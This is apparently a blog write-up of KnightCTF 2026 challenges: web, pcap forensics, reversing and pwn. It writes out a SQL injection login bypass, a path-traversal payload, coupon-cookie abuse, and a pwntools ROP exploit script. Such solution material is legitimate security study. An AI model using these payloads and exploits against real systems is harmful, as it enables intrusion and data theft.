KnightCTF2026--WP

一、WEB

1、Admin Panel

题目描述:Login and get the flag.

题目分析:

进入页面后就是一个登录框,再结合题目描述很显然就是sql注入。

解题思路:

(1)首先尝试随便输入一个用户名和密码,由于平台的问题,看到报错

Error: (2003, "Can't connect to MySQL server on 'db' ([Errno -3] Temporary failure in name resolution)")

现在知道数据库是mysql,开始尝试标准测试,万能密码等都显示不可注入,直接跑sqlmap也是没有找到注入点

(2)尝试猜测后端代码,可能类似于

select username,password from users where username='123' and password='123'

那么的话,如果我用\作为用户名,123作为密码这会生成一个无效查询,应该会遇到语法错误,结果确实遇到了如下报错

Error: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123'' at line 1")

这意味着确实发生注入,那么如果使用用户名\和密码-- -应该会得到如下有效查询

select username,password from users where username='\' and password='-- -'

当进行测试得时候显示No user,说明这个可以通过后端代码得检查

(2)接下来尝试绕过授权,使用用户名\和密码 or 1=1-- -,然后发现响应中显示Cookie Set-Cookie: username=admin; Path=/,接下来通过ORDER BY可以确定为是2

(3)继续构造,结果出现了这个,显然是长度问题

(4)尝试猜测有flag表进行union注入

(5)然后继续尝试常见得列名,如flag、value等,然后成功拿到flag

2、Waf

题目描述:You can't get the /flag.txt ever.

进入页面后如下显示

查看源码可以看到

html 复制代码
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>Bee</title>
</head>
<body>
  <p>Input your name:</p>
  <form action="/huraaaaa.html" method="GET">
    <input a="{a}" type="text" required>
    <button type="submit">Submit</button>
  </form>


  <!-- @app.after_request    
    def index(filename: str = "index.html"):
    if ".." in filename or "%" in filename:
        return "No no not like that :("
    
    -->
</body>
</html>

注释一个过滤器,防止文件名中的 ..%,所以./../../flag.txt,以及像双重 URL 编码这样的功能都不在考虑范围内。

接着尝试一些标准得方法,但是都不行。接看看代码,这个a="{a}"看起来很特别,于是尝试/{index.html},结果显示了index.html 页面

html 复制代码
    <input a="{a}" type="text" required>

这说明{ xxx } 正在被解析(但是不太明白到底发什么了,很好奇python是在解析{}中的内容还是和某个扩展有关,挺像看看源代码得),知道了这个奇怪的行为之后,就想到了是不是类似 /{.}/index.html结果还真是看到了index.html,既然这样的可以的话就继续尝试路径穿越了,最后得到

复制代码
{.}{.}/{.}{.}/flag.txt

成功拿到了flag

3、KnightCloud

题目描述:Your startup just signed up for KnightCloud's enterprise SaaS platform, but the premium features are locked behind a paywall. As a security researcher, you've been tasked to test their platform's security. Can you find a way to access the premium analytics dashboard without paying?

直接创建了账户并登录,然后查看源代码,看起来像是一个react的应用,接着查看index-DH6mlR.js,在这个js中发现了有一个很奇怪的代码块

javascript 复制代码
 examples: {
         upgradeUserExample: {
             endpoint: "/api/internal/v1/migrate/user-tier",
             method: "POST",
             body: {
                 u: "user-uid-here",
                 t: "premium"
             },
             validTiers: ["free", "premium", "enterprise"]
         }
     },

基于这些信息,我创建 /api/internal/v1/migrate/user-tier 了请求并发放了

然后重新进入仪表盘,发现上锁的都已经解开了

4、Knight Shop Again

题目描述:

A modern e-commerce platform for medieval equipment. I know you'll figure it out.

Flag Format: KCTF{Fl4g_heR3}

创建用户并登录,接着查看页面代码,点击各种按钮理清一下这个应用的行为,当点击到结账的机制的时候发现把商品加入购物车,然后进入结账表单。我注意到有一种方法可以应用优惠券。接着尝试随意输入一个优惠券,结果出现了"优惠券代码无效"的错误。不过,注意到一个关键点是,从来没有请求被发送到后台。所以处理优惠券的逻辑是在前端。这种机制很可能会被打破。

接下来就是找这个coupon的来源了,找到了applyCoupon,这引导我进入了processTransaction,进而进入了一个名为 _0x1a8c 的功能。

javascript 复制代码
 function _0x1a8c(input) {
   const base = [75, 78, 73, 71, 72, 84];
   const suffix = [50, 53];
   
   if (!input || input.length < 5) return { valid: false };
   
   const prefix = input.substring(0, 6);
   const ending = input.substring(6);
   
   let match = true;
   for (let i = 0; i < 6; i++) {
     if (prefix.charCodeAt(i) !== base[i]) {
       match = false;
       break;
     }
   }
   
   if (match && ending.length === 2) {
     if (ending.charCodeAt(0) === suffix[0] && ending.charCodeAt(1) === suffix[1]) {
       const cookieName = 'promo_applied';
       const existingCookie = document.cookie.split(';').find(c => c.trim().startsWith(cookieName + '='));
       
       if (existingCookie) {
         return { valid: false };
       }
       
       document.cookie = cookieName + '=1; path=/';
       return { valid: true, code: input };
     }
   }
   
   return { valid: false };
 }

基本意思是,如果提交了 KNIGHT25 优惠券代码,购物车价值会减少 25%。完成 Cookie 后,浏览器会存储 promo_applied 以表明已使用优惠券。这是防止多张优惠券被使用的机制。所以用户只需删除 Cookie,重新提交优惠券即可获得额外 25%的折扣。

然后基本上一直都是代码中查找,还没注意到账户上已有用户余额。也许可以多刷几张优惠券,梳刷了两张之后,进行结账,然后flag一闪而过,接着查看/api/checkout响应

二、Networking

1、Reconnaissance

题目描述:

Scenario: A mid-sized e-learn company "Knight Blog" recently detected suspicious network activity on their infrastructure. As the lead forensic analyst for the Knight Security Response Team, you've been called in to investigate. The IT team has provided you with three packet captures taken at different stages of what appears to be a coordinated cyber attack. Your mission is to analyze these captures, trace the attacker's footsteps, and uncover the full scope of the breach.

Question: Our IDS flagged some suspicious scanning activity in the first capture. The attacker was probing our network to identify potential entry points. Analyze the traffic and determine how many ports were found to be open on the target system.

Flag Format KCTF{number}

方法

经典的 TCP SYN 扫描是通过观察"SYN → SYN/ACK"这种响应来识别开放端口的。

-扫描器发送:`SYN`

-如果端口开放,目标会回应:`SYN,ACK`

扫描器完成或重置:`RST` / `ACK`

Wireshark filter

要查看候选扫描流量:

tcp.flags.syn == 1 && tcp.flags.ack == 0

为了确定目标设备上的开放端口,请针对来自目标设备的"SYN/ACK"数据包进行筛选:

ip.src == 192.168.1.102 && tcp.flags.syn == 1 && tcp.flags.ack == 1

结果

扫描器 IP 地址:192.168.1.104

目标 IP 地址:192.168.1.102

统计目标设备响应"SYN/ACK"指令时所使用的唯一端口数量:

TCP/22

TCP/80

flag:KCTF{2}

2、Gateway Identification

题目描述:During the initial reconnaissance, the attacker gathered information about the network infrastructure. We need to identify the vendor of the network device acting as the default gateway in this capture. This information could help us understand if any vendor-specific vulnerabilities were exploited.Flag Format KCTF{vendor_name}

方法

默认网关的供应商信息可以从以下方面获取:

(1)ARPdiscovery(IP ↔ MAC)

(2)基于MAC地址归属标识符的供应商信息

Wireshark filter

arp

识别网关的ARPwho-has/is-at:

-网关 IP 通常为:192.168.1.1

结果

网关 IP 地址:192.168.1.1

网关 MAC 地址:88:bd:09:38:d7:a0

OUI:88:BD:09 →Netis

flag:KCTF{Netis}

3、Exploitation

题目描述:The attacker appears to have identified a web application running on our server. We need to determine what application was being targeted. Find the version and username associated with the application in the capture.Flag Format: KCTF{version_username}

版本信息通常包含generator

javascript 复制代码
 tshark -r pcap2.pcapng -Y "http contains \"generator\"" -V 2>/dev/null | grep -A 2 -B 2 "generator"

 <generator
            uri="https://wordpress.org/"
            version="6.9">
            WordPress
            </generator>

接下来找用户名

javascript 复制代码
tshark -r pcap2.pcapng -Y "http.request.method == POST" -T json 2>/dev/null | jq '.[]._source.layers.http' 2>/dev/null | grep -A 5 "file_data"

解包后得到log=kadmin_user&pwd=f750d046和log=tushar%40gmail.com&pwd=1234566...

接下来判断哪个是正确的用户

javascript 复制代码
tshark -r pcap2.pcapng -Y "http.request.uri contains author/kadmin_user" -T fields -e http.response.code
# 输出: 200

而另外一个用户没有任何东西表面成功登录

flag:KCTF{6.9_kadmin_user}

4、Vulnerability Exploitation

题目描述:Our web application was compromised through a vulnerable plugin. The attacker exploited a known vulnerability to gain initial access. Identify the vulnerable plugin and its version that was exploited.Flag Format KCTF{plugin_name_version}

方法

攻击者通常通过以下方式来列出插件的版本:

  • wp-content/plugins/<plugin>/readme.txt

查找有关插件使用说明的请求。

Wireshark filter

复制代码
http.request.uri contains "/wp-content/plugins/"

结果

发现了:

  • GET /wordpress/wp-content/plugins/social-warfare/readme.txt

响应中显示:

  • Plugin: Social Warfare

  • Stable tag**:** 3.5.2

Challenge expects underscores in flag formatting:

Flag**:** KCTF{social_warfare_3.5.2}

5、Post-Exploitation

题目描述:After exploiting the vulnerability, the attacker established a persistent connection back to their command and control server. Analyze the traffic to identify the HTTP port used for the initial payload delivery and the port used for the reverse shell connection.Flag Format: KCTF{httpPort_revshellPort}

(1) HTTP Payload Port

方法:

搜索运行在非标准端口上的 HTTP 流量。

Wireshark filter

复制代码
http

如果由于端口不匹配导致 Wireshark 无法自动解码:

  • 右键点击 TCP 流 → 选择"解码为..."→ HTTP

结果

受害者向攻击者索要数据包:

  • 192.168.1.102:40676 -> 192.168.1.104:8767

  • GET /payload.txt?...

  • 响应类似于 Python 的 SimpleHTTP 服务器。

HTTP delivery port: 8767


(2) Reverse Shell Port

方法

寻找具有交互式明文内容且持续时间较长的 TCP 会话。

搜索关键词:

  • bash

  • www-data

  • whoami

Wireshark filter

复制代码
tcp contains "bash" || tcp contains "www-data"

结果

会话:

  • 192.168.1.102:39582 <-> 192.168.1.104:9576

Reverse shell port: 9576

Flag**:** KCTF{8767_9576}

6、Database Credentials Theft

题目描述:The attacker's ultimate goal was to access our database. During the post-exploitation phase, they managed to extract database credentials from the compromised system. Find the database username and password that were exposed.Flag Format: KCTF{username_password}

方法

在WordPress漏洞利用场景中,数据库凭据通常从以下位置获取:

  • wp-config.php

搜索:

  • DB_USER

  • DB_PASSWORD

  • define('DB_...')

tshark filter

javascript 复制代码
tshark -r pcap3.pcapng -T fields -e data 2>/dev/null | xxd -r -p | grep -a "define.*DB_" | head -20

结果

javascript 复制代码
# 模板(无关)
define( 'DB_NAME', 'database_name_here' );
define( 'DB_USER', 'username_here' );
define( 'DB_PASSWORD', 'password_here' );

# 实际凭据(关键)
define( 'DB_NAME', 'wordpress_db' );
define( 'DB_USER', 'wpuser' );
define( 'DB_PASSWORD', 'wp@user123' );
define( 'DB_HOST', 'localhost' );

Flag**:** KCTF{wpuser_wp@user123}

三、REV

1、E4sy P3asy

题目描述:An easy RE...

程序分析:

javascript 复制代码
file E4sy_P3asy.ks 

E4sy_P3asy.ks: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ccaa420882d2b8eb1bf3a2cc82b527aa19911512, for GNU/Linux 4.4.0, stripped

程序是一个64位Linux ELF可执行文件,被stripped去除了符号表。运行时会显示横幅并提示输入flag。

主要逻辑(使用Ghidra/IDA分析)

(1) 输入处理

  • 使用fgets读取用户输入(最多256字节)

  • 去除末尾的换行符(\n\r

(2)双重验证路径

程序有两条验证路径:

GoogleCTF路径(迷惑项)

  • 检查输入是否以"GoogleCTF{"开头

  • 检查是否以'}'结尾

  • 验证主体长度是否为13字符

  • 使用前缀"Google_CTF_s@lt_2026"进行MD5验证

  • 成功后会显示提示信息,指出这是来自另一个宇宙的诱饵flag

KCTF路径(真正的flag)

  • 检查输入是否以"KCTF{"开头

  • 检查是否不以 "!"开头

  • 检查是否以'}'结尾

  • 验证主体长度是否为23字符

  • 使用前缀"KnightCTF_2026_s@lt"进行MD5验证

  • 成功显示"Good job! You got it!"

(3)验证算法

对于KCTF路径的每个字符(位置i,字符c):

  1. 构造字符串:"KnightCTF_2026_s@lt" + str(i) + c

  2. 计算该字符串的MD5哈希值

  3. 与硬编码的MD5值比较

  4. 所有23个字符都匹配则验证成功

(4) 硬编码数据

  • 13字符MD5表:地址0x3d60开始的13个指针,指向MD5哈希值

  • 23字符MD5表:地址0x2170开始的23个MD5哈希值(真正的flag)

解题

(1)提取md5哈希值

javascript 复制代码
strings -t x E4sy_P3asy.ks | grep -E "[0-9a-f]{32}"
   2170 781011edfb2127ee5ff82b06bb1d2959
   2198 4cf891e0ddadbcaae8e8c2dc8bb15ea0
   21c0 d06d0cbe140d0a1de7410b0b888f22b4
   21e8 d44c9a9b9f9d1c28d0904d6a2ee3e109
   2210 e20ab37bee9d2a1f9ca3d914b0e98f09
   2238 d0beea4ce1c12190db64d10a82b96ef8
   2260 ac87da74d381d253820bcf4e5f19fcea
   2288 ce3f3a34a04ba5e5142f5db272b6cb1f
   22b0 13843aca227ef709694bbfe4e5a32203
   22d8 ca19a4c4eb435cb44d74c1e589e51a10
   2300 19edec8e46bdf97e3018569c0a60baa3
   2328 972e078458ce3cb6e32f795ff4972718
   2350 071824f6039981e9c57725453e005beb
   2378 66cd6098426b0e69e30e7fa360310728
   23a0 f78d152df5d277d0ab7d25fb7d1841f3
   23c8 dba3a36431c4aaf593566f7421abaa22
   23f0 8820bbdad85ebee06632c379231cfb6b
   2418 722bc7cde7d548b81c5996519e1b0f0f
   2440 c2862c390c830eb3c740ade576d64773
   2468 94da978fe383b341f9588f9bab246774
   2490 bea3bb724dbd1704cf45aea8e73c01e1
   24b8 ade2289739760fa27fd4f7d4ffbc722d
   24e0 3cd0538114fe416b32cdd814e2ee57b3
   2508 8af7f29b21564b87336ed4e4cdfb1a20
   2530 4d3f509284784ab67818b13e74fd5ebe
   2558 5a45666e1387ff739eb470f840532099
   2580 c96997e23323e502d5d0b07d24a68d50
   25a8 efb388057adc3fe734d8b6ffb2bdd1e1
   25d0 6df2aaf58e39f89d7a31a72e19e0efbf
   25f8 9bbd077d3df7faedfd22fae85043d6c0
   2620 dc72837ea6ba778eebbd0401a35182f4
   2648 efa0bc7c5da3545ba15548b4b85eaf76
   2670 1c36dbad9144b1e1d23ddecb5d4df3e9
   2698 980663d212aed1ba720f7735873fa73c
   26c0 9df295c8874bcac93c98babe78b9c946
   26e8 2672e4d30c7da0d30749f09bc1b1eefa

(2)确定前缀字符串

从反编译代码中分析出KCTF路径使用的前缀为:

  • 内存表示:0x67696e4b 0x7468 0x5f465443 0x36323032 0x6c40735f 0x74

  • 实际字符串:"KnightCTF_2026_s@lt"

(3)脚本破解

javascript 复制代码
import hashlib

prefix = "KnightCTF_2026_s@lt"
md5_list = [...]  # 23个硬编码MD5值

flag_chars = []
for i, target_md5 in enumerate(md5_list):
    for c in range(32, 127):
        s = prefix + str(i) + chr(c)
        if hashlib.md5(s.encode()).hexdigest() == target_md5:
            flag_chars.append(chr(c))
            break

flag = ''.join(flag_chars)
print(f"KCTF{{{flag}}}")

2、ReM3

题目描述:Reverse me if you can...

程序分析

(1)总体逻辑

程序要求输入29字节的flag,通过三个不同的检查路径:

  • 检查1: 直接与字符串 KCTF{str1ngs_lie_dont_trust!} 比较 → 显示假flag

  • 检查2: 哈希值必须等于 0xe76fa3daba5d6f3a → 显示另一个假flag

  • 检查3: 对输入进行变换,与硬编码数据比较 → 真正的flag验证

(2)关键函数

  • main() (0x10c0): 主逻辑

  • FUN_00101470(): 哈希函数(检查2)

  • FUN_001014c0(): 变换函数(检查3)

  • FUN_00101400(): 比较函数(检查3)

(3)数据结构

检查3的数据结构为29字节,分为四部分:

  • 8字节(64位比较)

  • 2字节(16位比较)

  • 10字节(memcmp比较)

  • 9字节(memcmp比较)

解题:

(1)静态分析

使用 objdumpstrings 分析二进制文件:

javascript 复制代码
objdump -d rem3.ks
strings rem3.ks | grep -i kctf

发现三个假flag:

  1. KCTF{str1ngs_lie_dont_trust!}

  2. KCTF{hash_passes_but_fake!!!}

  3. KCTF{fake_flag_for_reversers}

(2)数据提取

从.rodata段提取检查3的目标数据:

javascript 复制代码
objdump -s -j .rodata rem3.ks

发现两组数据:

  • 地址 0x2110-0x2130: 第一组(用于假flag验证)

  • 地址 0x2140-0x216a: 第二组(用于真flag验证)

(3)算法逆向

函数 FUN_001014c0 算法:

javascript 复制代码
void transform(long param_1) {
  byte r8d = 0, edi = 0;
  int esi = -61;  // 0xffffffc3
  
  for(int i = 0; i < 29; i++) {
    int shift1 = (i & 7) * 8;
    int shift2 = ((i * 8 + 0x10) & 0x38);
    int shift3 = ((i * 8 + 0x18) & 0x38);
    
    byte bVar2 = ((0x2f910ed35ca71942 >> shift1) & 0xff + edi) ^ input[i];
    edi += 0x1d;
    
    byte rol_bits = (0x6a124de908b17733 >> shift2) & 7;
    byte xor_val = (0x6a124de908b17733 >> shift1) ^ r8d;
    r8d += 0x11;
    
    byte bVar3 = ROL(bVar2, rol_bits) + (byte)esi ^ xor_val;
    byte result = ROR(bVar3, esi & 7);
    
    output[i] = result;
    esi = result + ((0x2f910ed35ca71942 >> shift3) ^ 0xa5) + esi;
  }
}

比较函数 FUN_00101400

比较变换后的数据与目标数据的四个部分。

(4)目标数据

对第二组目标数据进行逆变换:

  • 地址 0x2160: dc6bbb4dfd25e47e c326 (8+2字节)

  • 地址 0x2150: f572ab96fc8d5510 93c1000000000000 (10字节)

  • 地址 0x2140: fd81465b7e33838f 2f00000000000000 (9字节)

注意: 需要正确理解字节顺序(小端序vs原始顺序)。

(5)脚本

python 复制代码
R10 = 0x2f910ed35ca71942
R9 = 0x6a124de908b17733

def transform(data):
    c8, b9, i7 = 0, 0, -61
    out = bytearray(data)
    
    for i in range(29):
        s5 = (i & 7) << 3
        s2 = ((i << 3) + 0x10) & 0x38
        s3 = ((i << 3) + 0x18) & 0x38
        
        t = ((R10 >> s5) & 0xff + c8) & 0xff ^ out[i]
        c8 = (c8 + 0x1d) & 0xff
        
        rol_shift = (R9 >> s2) & 7
        t = ((t << rol_shift) | (t >> (8 - rol_shift))) & 0xff
        
        xor_val = ((R9 >> s5) & 0xff) ^ b9
        b9 = (b9 + 0x11) & 0xff
        
        t = (t + (i7 & 0xff)) & 0xff ^ xor_val
        ror_shift = i7 & 7
        t = ((t >> ror_shift) | (t << (8 - ror_shift))) & 0xff
        
        out[i] = t
        i7 = (t + ((R10 >> s3) & 0xff ^ 0xa5) + i7) & 0xffffffff
    
    return bytes(out)

def inverse(cipher):
    states = []
    c8, b9, i7 = 0, 0, -61
    
    for i in range(29):
        s5 = (i & 7) << 3
        s2 = ((i << 3) + 0x10) & 0x38
        s3 = ((i << 3) + 0x18) & 0x38
        states.append((i7 & 0xff, c8, b9, s5, s2))
        
        c8 = (c8 + 0x1d) & 0xff
        b9 = (b9 + 0x11) & 0xff
        i7 = (cipher[i] + ((R10 >> s3) & 0xff ^ 0xa5) + i7) & 0xffffffff
    
    # 逆向解密
    plain = bytearray(29)
    for i in range(29):
        i7_val, c8_val, b9_val, s5, s2 = states[i]
        c = cipher[i]
        
        # 逆ROR
        ror_shift = i7_val & 7
        t = ((c << ror_shift) | (c >> (8 - ror_shift))) & 0xff
        
        # 逆XOR和加法
        xor_val = ((R9 >> s5) & 0xff) ^ b9_val
        t ^= xor_val
        t = (t - i7_val) & 0xff
        
        # 逆ROL
        rol_shift = (R9 >> s2) & 7
        t = ((t >> rol_shift) | (t << (8 - rol_shift))) & 0xff
        
        # 恢复原始数据
        plain[i] = t ^ (((R10 >> s5) & 0xff) + c8_val) & 0xff
    
    return bytes(plain)

def main():
    cipher = bytes.fromhex("dc6bbb4dfd25e47ec326f572ab96fc8d551093c1fd81465b7e33838f2f")[:29]
    plain = inverse(cipher)
    
    try:
        if plain.startswith(b"KCTF{"):
            print(f"flag: {plain.decode()}")
    except:
        pass

if __name__ == "__main__":
    main()

3、KrackM3

题目描述:Krackme...

程序分析:

(1)初步分析

python 复制代码
file KrackM3.ks
# ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, stripped

运行程序显示:

python 复制代码
╔══════════════════════════════════════╗
║              KrackM3                 ║
║          KnightCTF 2026              ║
╚══════════════════════════════════════╝

Enter flag:

(2)主函数分析(FUN_00401080)

cpp 复制代码
printf("Enter flag: ");
fgets(input, 256, stdin);
// 基本验证
if (strlen(input) != 0x20) goto fail;
if (!FUN_00401890(input)) goto fail;  // 验证格式KCTF{...}

// 初始化三个缓冲区
FUN_00401320(buffer1, buffer2);  // 生成S-box和反向S-box
FUN_00401480(buffer3);           // 生成伪随机流

// 主要验证
result = FUN_00401590(input, buffer1, buffer2, buffer3);
if (result == 1) {
    puts("Success! Real flag accepted.");
} else if (result == 2) {
    puts("Success! ...but you won't get points for this flag :P");
} else {
    puts("Failed!");
}

(3)格式验证(FUN_00401890)

验证flag格式为32字节:KCTF{26个字符}

(4)算法初始化

FUN_00401320: 生成S-box和反向S-box

  • 基于种子 [0, 1, 2, 3]

  • 使用RC4-like KSA算法

  • 额外Fisher-Yates洗牌

FUN_00401480: 生成伪随机字节流

  • 种子: 0x99ed0ebacd107339

  • 非线性PRNG生成256字节

(5)核心验证算法(FUN_00401590)

对每个输入字节(位置i=0-31)执行:

  1. 复杂混合运算:输入字节 + 常量 + 随机流 + 状态变量

  2. 循环移位:基于计算出的移位值

  3. S-box查找:使用置换表

  4. 最终计算:得到bVar17(存储在R13D寄存器)

  5. 比较:bVar17的低8位必须等于硬编码期望值

(6)硬编码数据

期望值数组(32字节)

cpp 复制代码
45 c0 01 fb 1e 3d fd 2e e5 7c cc b6
38 a6 14 f3 60 51 fb 1f d1 e3 03 f1
32 fe d6 3a 22 f3 ad 65

动态调试定位计算点:

cpp 复制代码
gdb ./KrackM3.ks
break *0x40177a
commands
  printf "Pos: %d, Flag byte: 0x%02x, R13D: 0x%08x\n", $rdi, $r11, $r13
  continue
end

使用增量暴力破解

由于算法是确定性的且状态依赖,采用顺序求解:

  1. 固定已知部分:KCTF{ + 26×A + }

  2. 对于每个位置5-30:

    • 尝试所有256个字节值

    • 使用GDB测试,检查R13D低8位是否匹配期望值

    • 找到匹配则固定,继续下一个位置

完整脚本

python 复制代码
import subprocess, tempfile, os

EXPECTED = bytes([
    0x45,0xc0,0x01,0xfb,0x1e,0x3d,0xfd,0x2e,0xe5,0x7c,0xcc,0xb6,
    0x38,0xa6,0x14,0xf3,0x60,0x51,0xfb,0x1f,0xd1,0xe3,0x03,0xf1,
    0x32,0xfe,0xd6,0x3a,0x22,0xf3,0xad,0x65
])

flag = bytearray(b'KCTF{' + b'A'*26 + b'}')

for p in range(5, 31):
    for b in range(256):
        # 创建gdb测试脚本
        with tempfile.NamedTemporaryFile(mode='w', delete=False) as f:
            f.write(f'''
set pagination off
break *0x40177a
commands
    if ($rdi=={p} && (($r13&0xff)=={EXPECTED[p]}))
        quit
    end
    continue
end
run
''')
            script = f.name
        
        flag[p] = b
        try:
            cmd = f"gdb -q -nh -x {script} ./KrackM3.ks 2>/dev/null"
            proc = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE,
                                   stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
            proc.communicate(input=bytes(flag).decode()+'\n', timeout=2)
            if proc.returncode == 0:
                c = chr(b) if 32<=b<127 else '.'
                print(f"Pos {p:2d}: {c} (0x{b:02x})")
                break
        except:
            pass
        finally:
            os.unlink(script)

print(f"\nResult: {flag.decode()}")

4、ReM3 Again

题目描述:Reverse me again if you can...

程序分析:

(1)初步分析

提供一个 64 位 ELF 可执行文件 rem3_again.ks,未加壳(not stripped)。

运行程序,提示输入 flag:

bash 复制代码
=== KCTF Challenge ===
Enter flag: 

输入错误时显示 "Failed!"。

(2)静态分析

用 Ghidra 反编译,主要逻辑在 main 函数中。

主流程

  1. 读取输入,长度必须为 0x26(38 字节)。

  2. 调用 p 函数生成一个 256 字节的置换表 local_128

  3. 三次调用 chk_first.constprop.0,分别传入三组全局变量:

    • x_g0, x_g1, x_g2

    • x_f0, x_f1, x_f2

    • x_d0, x_d1, x_d2

      以及 local_128 作为参数。

  4. 如果三次检查都返回 0(成功),则:

    • 调用 cat3.constprop.0 拼接 x_r0, x_r1, x_r2 为密文

    • 调用 t.constprop.0local_128 解密该密文,结果存于 local_368

    • 调用 eq.constprop.0 比较输入和 local_368

    • 如果相等,输出 "Success! Real flag accepted."

  5. 如果前三组检查中有失败,但输入长度正确,输出 "Success! ...but you won't get points for this flag :P" 并打印输入(假 flag 路径)。

关键函数

  • p: 用确定性算法生成 256 字节的置换表及逆表。

  • cat3: 将三个字节数组合并成一个 38 字节的数组(具体拼接方式需通过反汇编确定)。

  • t: 核心解密函数,用 local_128 逆表对密文进行逐字节变换。

  • eq: 字符串比较函数。

  • chk_first: 内部调用 cat3t,然后比较输入和解密结果。

(3)动态调试

通过 GDB 调试,了解程序内部期望的字符串。

eq.constprop.0 入口设断点,并自动打印 $rsi(期望字符串):

bash 复制代码
break *0x5555555556b0
commands
silent
printf "Expected: %s\n", $rsi
continue
end

运行程序,输入 38 个 'A'

获得四个期望字符串:

  • GoogleCTF{n0_p01nts_th1s_1s_n0t_1t!!!}

  • FLAG{y0u_f0und_s0m3th1ng_but_nah!!???}

  • DEFCON{cl0s3_but_n0_c1g4r_try_4g41n!!}

  • KCTF{aN0Th3r_r3_I_h0PE_y0U_eNj0YED_IT}

(4)分析

四个字符串分别对应:

  1. x_r 组解密结果(假 flag)

  2. x_g 组解密结果

  3. x_f 组解密结果

  4. x_d 组解密结果

前三组 chk_first 检查输入的不同部分(可能前 12、中 12、后 14 字节),而最后的 eq 检查整个输入是否与 x_r 组解密结果一致。

但程序逻辑实际是:前三组检查通过后,才用 x_r 组解密结果与整个输入比较。

然而调试发现,x_d 组解密结果 KCTF{aN0Th3r_r3_I_h0PE_y0U_eNj0YED_IT} 就是完整 flag,直接输入它即可通过所有检查。

(5)验证

bash 复制代码
=== KCTF Challenge ===
Enter flag: KCTF{aN0Th3r_r3_I_h0PE_y0U_eNj0YED_IT}
Success! Real flag accepted.
Now grab your points. :)

四、pwn

1、Knight Squad Academy

题目描述:Its our academy... :D

程序分析:

(1)初步分析

  • 文件: ksa_kiosk (64位ELF)

  • 保护机制: Full RELRO, No Canary, NX enabled, No PIE

  • Register cadet: 注册学员(输入姓名和备注)

  • Enrollment status: 查看注册状态

  • Exit: 退出

(2)漏洞定位

漏洞存在于选项1的"Enrollment notes"输入:

bash 复制代码
4015b9: lea -0x70(%rbp),%rax  ; 缓冲区起始地址 -0x70
4015bd: mov $0xf0,%edx        ; 读取240字节
4015ca: call 401080 <read@plt>
  • 缓冲区大小: 0x70 (112) 字节

  • 读取长度: 0xf0 (240) 字节

  • 溢出大小: 240 - 112 = 128字节

(3)偏移量计算

  • 缓冲区起始: -0x70(%rbp)

  • RBP位置: +0x0(%rbp)

  • 返回地址: +0x8(%rbp)

  • 偏移量: 0x70 + 0x8 = 0x78 = 120字节

(4)后门函数分析

选项2的函数(0x4013ac)包含一个隐藏功能:

bash 复制代码
4013be: movabs $0x1337c0decafebeef,%rax
4013c8: cmp %rax,-0x98(%rbp)  ; 检查第一个参数是否等于魔法值
4013cf: je 4013fe             ; 如果相等,执行特殊代码
4013fe: 打开并显示"./flag.txt"文件

利用思路

(1)条件

  • 无栈保护(No Canary) → 可直接覆盖返回地址

  • 无地址随机化(No PIE) → 地址固定

  • 开启NX → 需要ROP

(2)利用链构造

  • 覆盖返回地址为 pop rdi; ret gadget

  • 设置 rdi = 0x1337c0decafebeef (魔法值)

  • 跳转到后门函数 0x4013ac

(3)关键地址

  • pop rdi; ret: 0x40150b

  • 后门函数: 0x4013ac

  • 魔法值: 0x1337c0decafebeef

脚本

python 复制代码
from pwn import *

p = remote('题目服务器地址', 端口号)  

offset = 120
payload = b'A' * offset
payload += p64(0x40150b)          
payload += p64(0x1337c0decafebeef)
payload += p64(0x4013ac)          

# 交互
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"EXPLOIT")
p.recvuntil(b"> ")
p.sendline(payload)

# 获取flag
p.recvuntil(b"[Registry] Clearance badge issued:\n")
flag = p.recvline().strip()
print(f"Flag: {flag.decode()}")

p.close()

2、Knight Squad Academy Jail

题目描述:I don't like words but I love chars.

首先需要弄清楚这是什么类型的Jail,然后尝试各种输入,比如a、123、1==1等,但都是正常返回,没有什么问题。False 返回 False,这表明这可能是基于大写 F 的python Jali。尝试 {}[] 等作,结果是 error: node not allowed: dicterror: node not allowed: list,更加确定这是python Jali,然后就是尝试不断输入exec()等函数,都会显示error: unknown function,然后再网上找了个字典,结果也没有什么用。

回到题目描述,经过各种尝试,还真的发现一些东西,将字符列举为函数有了些不一样的东西,比如:L()返回的是28、Q()返回 error: Oracle.Q() missing 2 required positional arguments: 'i' and 'x'、S()返回 error: Oracle.S() missing 1 required positional argument: 'guess',于是乎就带上要的参数,尝试Q('A','A')返回error: Q(i, x) expects ints,Q(1,1)返回-1,接着就是进行大量的尝试了,然后发现响应的只有-1、0、1。

然后卡了很久,到了比赛结束后依然在看,有了一个猜想L()返回的是flag的长度、Q()则为查询方式、那么S()就是检查flag值得方式,继续想下去,Q()中得两个参数则为索引和ascll,接着验证这个猜想,知道flag格式为KCTF,当输入Q(0,75)返回0,Q(0,74)返回-1,Q(0,76)返回1,然后继续测试CTF这三个字母,果然如我所想,也就是说ascll比预期小就是-1,长的话就是1,所以如果匹配返回的应该是0。

脚本

python 复制代码
from pwn import *

p = remote('服务', 端口)
p.recvuntil(b'> ')

min = 33
max = 126

i = 0
x = ((max - min) // 2) + min
flag = []
while True:
    print(f'[{i}] trying {x}')

    query = f'Q({i},{x})'
    p.sendline(query.encode())
    
    r = p.recvuntil(b'> ')
    r = r.split(b'\n')[0]
    r = int(r)
    print(f'{r=}')

    if r > 0: 
        max = x
        x = ((max - min) // 2) + min
    elif r <0: 
        min = x
        x = ((max - min) // 2) + min
    else: 
        flag.append(x)
        min = 33
        max = 126
        x = ((max - min) // 2) + min
        i += 1
        print(f'{flag=}')
        if i >= 28: break
    
print(f'{flag=}')
flag = [chr(c) for c in flag]
flag = ''.join(flag)
print(f'{flag=}')
相关推荐
世界尽头与你2 小时前
CVE-2024-3366_ XXL-JOB 注入漏洞
安全·网络安全·渗透测试·xxl-job
周某人姓周3 小时前
sql报错注入常见7个函数
sql·安全·web安全·网络安全
是逍遥子没错3 小时前
OA渗透测试的思维盲区:从漏洞猎人到系统拆解师
web安全·网络安全·黑客·渗透测试·系统安全·oa系统·src挖掘
大方子3 小时前
